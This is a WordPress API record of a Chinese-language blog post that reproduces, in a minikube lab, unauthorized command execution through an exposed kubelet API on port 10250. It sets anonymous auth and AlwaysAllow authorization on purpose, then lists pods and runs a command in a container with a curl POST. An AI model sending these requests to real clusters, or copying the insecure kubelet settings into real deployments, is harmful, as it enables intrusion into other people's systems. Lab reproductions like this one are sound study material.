{"id":89,"date":"2019-12-19T20:18:25","date_gmt":"2019-12-19T12:18:25","guid":{"rendered":"http:\/\/blog.73007300.xyz\/?p=89"},"modified":"2020-09-08T16:03:32","modified_gmt":"2020-09-08T08:03:32","slug":"kubelet%e6%9c%aa%e6%8e%88%e6%9d%83%e5%91%bd%e4%bb%a4%e6%89%a7%e8%a1%8c","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=89","title":{"rendered":"Kubelet\u672a\u6388\u6743\u547d\u4ee4\u6267\u884c"},"content":{"rendered":"\n

\u672c\u6587\u5728Debian10\u4e0a\u64cd\u4f5c\uff0c\u4e14Debian10\u5df2\u5b89\u88c5\u6700\u65b0Docker.<\/p>\n\n\n\n

1.Install kubectl<\/p>\n\n\n\n

# https:\/\/kubernetes.io\/docs\/tasks\/tools\/install-kubectl\/#install-kubectl-on-linux \nsudo apt-get update && sudo apt-get install -y apt-transport-https\ncurl -s https:\/\/packages.cloud.google.com\/apt\/doc\/apt-key.gpg | sudo apt-key add -\necho \"deb https:\/\/apt.kubernetes.io\/ kubernetes-xenial main\" | sudo tee -a \/etc\/apt\/sources.list.d\/kubernetes.list\nsudo apt-get update\nsudo apt-get install -y kubectl<\/code><\/pre>\n\n\n\n
2. Install minikube<\/p>\n\n\n\n
curl -LO https:\/\/storage.googleapis.com\/minikube\/releases\/latest\/minikube_1.6.1.deb \\\n && sudo dpkg -i minikube_1.6.1.deb<\/code><\/pre>\n\n\n\n
3. Install Driver (Optinal)<\/p>\n\n\n\n
https:\/\/kubernetes.io\/docs\/setup\/learning-environment\/minikube\/#specifying-the-vm-driver<\/a><\/p>\n\n\n\n
\u786e\u8ba4\u5b89\u88c5\uff1a<\/p>\n\n\n\n
root@debian10:~# minikube start --vm-driver=none\n* minikube v1.6.1 on Debian 10.2\n* Selecting 'none' driver from user configuration (alternates: [])\n* Tip: Use 'minikube start -p <name>' to create a new cluster, or 'minikube delete' to delete this one.\n* Starting existing none VM for \"minikube\" ...\n* Waiting for the host to be provisioned ...\n! VM may be unable to resolve external DNS records\n* Preparing Kubernetes v1.17.0 on Docker '19.03.0' ...\n* Downloading kubeadm v1.17.0\n* Downloading kubelet v1.17.0\n* Launching Kubernetes ...\n\n* Configuring local host environment ...\n*\n! The 'none' driver provides limited isolation and may reduce system security and reliability.\n! For more information, see:\n  - https:\/\/minikube.sigs.k8s.io\/docs\/reference\/drivers\/none\/\n*\n! kubectl and minikube configuration will be stored in \/root\n! To use kubectl or minikube commands as your own user, you may need to relocate them. For example, to overwrite your own settings, run:\n*\n  - sudo mv \/root\/.kube \/root\/.minikube $HOME\n  - sudo chown -R $USER $HOME\/.kube $HOME\/.minikube\n*\n* This can also be done automatically by setting the env var CHANGE_MINIKUBE_NONE_USER=true\n* Done! kubectl is now configured to use \"minikube\"\nroot@debian10:~#\nroot@debian10:~# minikube status\nhost: Running\nkubelet: Running\napiserver: Running\nkubeconfig: Configured\nroot@debian10:~# minikube stop\n* Stopping \"minikube\" in none ...\n* Stopping \"minikube\" in none ...\n* \"minikube\" stopped.\nroot@debian10:~#<\/code><\/pre>\n\n\n\n
\u914d\u7f6e\u53ef\u8bbf\u95eeapi,\u7f16\u8f91\/var\/lib\/kubelet\/config.yaml \u6587\u4ef6\uff0c\u628aanonymous auth\u6539\u6210true,authorization mode\u6539\u6210AlwaysAllow<\/p>\n\n\n\n
\u91cd\u542f\uff1a<\/p>\n\n\n\n
sudo systemctl daemon-reload\nsudo systemctl restart kubelet.service<\/code><\/pre>\n\n\n\n
\u786e\u8ba4\u53ef\u4ee5\u8bbf\u95ee\uff1a<\/p>\n\n\n\n
curl -k https:\/\/localhost:10250\/runningpods\/<\/code><\/pre>\n\n\n\n
\u542f\u52a8\uff08VMware\u4e2d\u865a\u62df\u673a\u4e0a\u7684Debian10\uff09\uff1a<\/p>\n\n\n\n
# minikube start --vm-driver=none\nkubectl create deployment kubernetes-bootcamp --image=gcr.io\/google-samples\/kubernetes-bootcamp:v1\nkubectl get deployments\necho -e \"\\n\\n\\n\\e[92mStarting Proxy. After starting it will not output a response. Please click the first Terminal Tab\\n\";\nkubectl proxy<\/code><\/pre>\n\n\n\n
\u6253\u5f00\u65b0\u7ec8\u7aef\uff0c\u786e\u8ba4\u90e8\u7f72\u6210\u529f\uff1a<\/p>\n\n\n\n
export POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{\"\\n\"}}{{end}}')\necho Name of the Pod: $POD_NAME\ncurl http:\/\/localhost:8001\/api\/v1\/namespaces\/default\/pods\/$POD_NAME\/proxy\/<\/code><\/pre>\n\n\n\n
\u53e6\u4e00\u4e9b\u67e5\u770b\u7684\u547d\u4ee4\uff1a<\/p>\n\n\n\n
kubectl get pod\nkubectl describe pods\nkubectl get services\nkubectl get pods --all-namespaces\nkubectl get deployments\nminikube service $POD_NAME --url\nkubectl delete services $POD_NAME\nkubectl delete deployment $POD_NAME\nminikube stop\nminikube delete<\/code><\/pre>\n\n\n\n
\u6267\u884c\u547d\u4ee4\u7684\u683c\u5f0f\u662f\uff1a<\/p>\n\n\n\n
# \/run\/%namespace%\/%pod_name%\/%container_name%<\/code><\/pre>\n\n\n\n
\u6240\u4ee5\u6267\u884c\u547d\u4ee4\u8981\u83b7\u5f97 namespace\uff0c pod_name\uff0c container_name\u8fd9\u4e09\u4e2a\u6570\u636e\uff1a<\/p>\n\n\n\n
curl -k https:\/\/192.168.23.134:10250\/runningpods\/\ncurl -k https:\/\/192.168.23.134:10250\/pods\/<\/code><\/pre>\n\n\n\n
\u83b7\u53d6\u540e\u5728\u5bb9\u5668\u91cc\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n\n\n\n
curl -k -XPOST \"https:\/\/192.168.23.134:10250\/run\/default\/kubernetes-bootcamp-69fbc6f4cf-82lk2\/kubernetes-bootcamp\" -d \"cmd=ls -ahl\"<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u81f3\u4e8e\u5982\u4f55\u9003\u9038\u5bb9\u5668\uff0c\u90a3\u5c31\u8981\u8ba8\u8bbaDocker\u4e86\u3002\u6682\u4e0d\u8ba8\u8bba\u3002<\/p>\n\n\n\n
\u53c2\u8003\uff1a<\/p>\n\n\n\n
https:\/\/carnal0wnage.attackresearch.com\/2019\/01\/kubernetes-unauth-kublet-api-10250.html<\/a><\/p>\n\n\n\n
https:\/\/kubernetes.io\/docs\/tasks\/tools\/install-kubectl\/#install-kubectl-on-linux<\/a><\/p>\n\n\n\n
https:\/\/kubernetes.io\/docs\/setup\/learning-environment\/minikube\/#specifying-the-vm-driver<\/a><\/p>\n\n\n\n
https:\/\/gist.github.com\/lizrice\/c32740fac51db2a5518f06c3dae4944f<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
\u672c\u6587\u5728Debian10\u4e0a\u64cd\u4f5c\uff0c\u4e14Debian10\u5df2\u5b89\u88c5\u6700\u65b0Docker. 1.Install kubectl 2. Install minikube 3. Install Driver (Optinal) https:\/\/kubernetes.io\/docs\/setup\/learning-environment\/minikube\/#specifying-the-vm-driver \u786e\u8ba4\u5b89\u88c5\uff1a \u914d\u7f6e\u53ef\u8bbf\u95eeapi,\u7f16\u8f91\/var\/lib\/kubelet\/config.yaml \u6587\u4ef6\uff0c\u628aanonymous auth\u6539\u6210true,authorization mode\u6539\u6210AlwaysAllow \u91cd\u542f\uff1a \u786e\u8ba4\u53ef\u4ee5\u8bbf\u95ee\uff1a \u542f\u52a8\uff08VMware\u4e2d\u865a\u62df\u673a\u4e0a\u7684Debian10\uff09\uff1a \u6253\u5f00\u65b0\u7ec8\u7aef\uff0c\u786e\u8ba4\u90e8\u7f72\u6210\u529f\uff1a \u53e6\u4e00\u4e9b\u67e5\u770b\u7684\u547d\u4ee4\uff1a \u6267\u884c\u547d\u4ee4\u7684\u683c\u5f0f\u662f\uff1a \u6240\u4ee5\u6267\u884c\u547d\u4ee4\u8981\u83b7\u5f97 namespace\uff0c pod_name\uff0c container_name\u8fd9\u4e09\u4e2a\u6570\u636e\uff1a \u83b7\u53d6\u540e\u5728\u5bb9\u5668\u91cc\u6267\u884c\u547d\u4ee4\uff1a \u81f3\u4e8e\u5982\u4f55\u9003\u9038\u5bb9\u5668\uff0c\u90a3\u5c31\u8981\u8ba8\u8bbaDocker\u4e86\u3002\u6682\u4e0d\u8ba8\u8bba\u3002 \u53c2\u8003\uff1a https:\/\/carnal0wnage.attackresearch.com\/2019\/01\/kubernetes-unauth-kublet-api-10250.html https:\/\/kubernetes.io\/docs\/tasks\/tools\/install-kubectl\/#install-kubectl-on-linux https:\/\/kubernetes.io\/docs\/setup\/learning-environment\/minikube\/#specifying-the-vm-driver https:\/\/gist.github.com\/lizrice\/c32740fac51db2a5518f06c3dae4944f<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,4],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/89"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=89"}],"version-history":[{"count":2,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions"}],"predecessor-version":[{"id":413,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/89\/revisions\/413"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=89"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=89"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=89"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}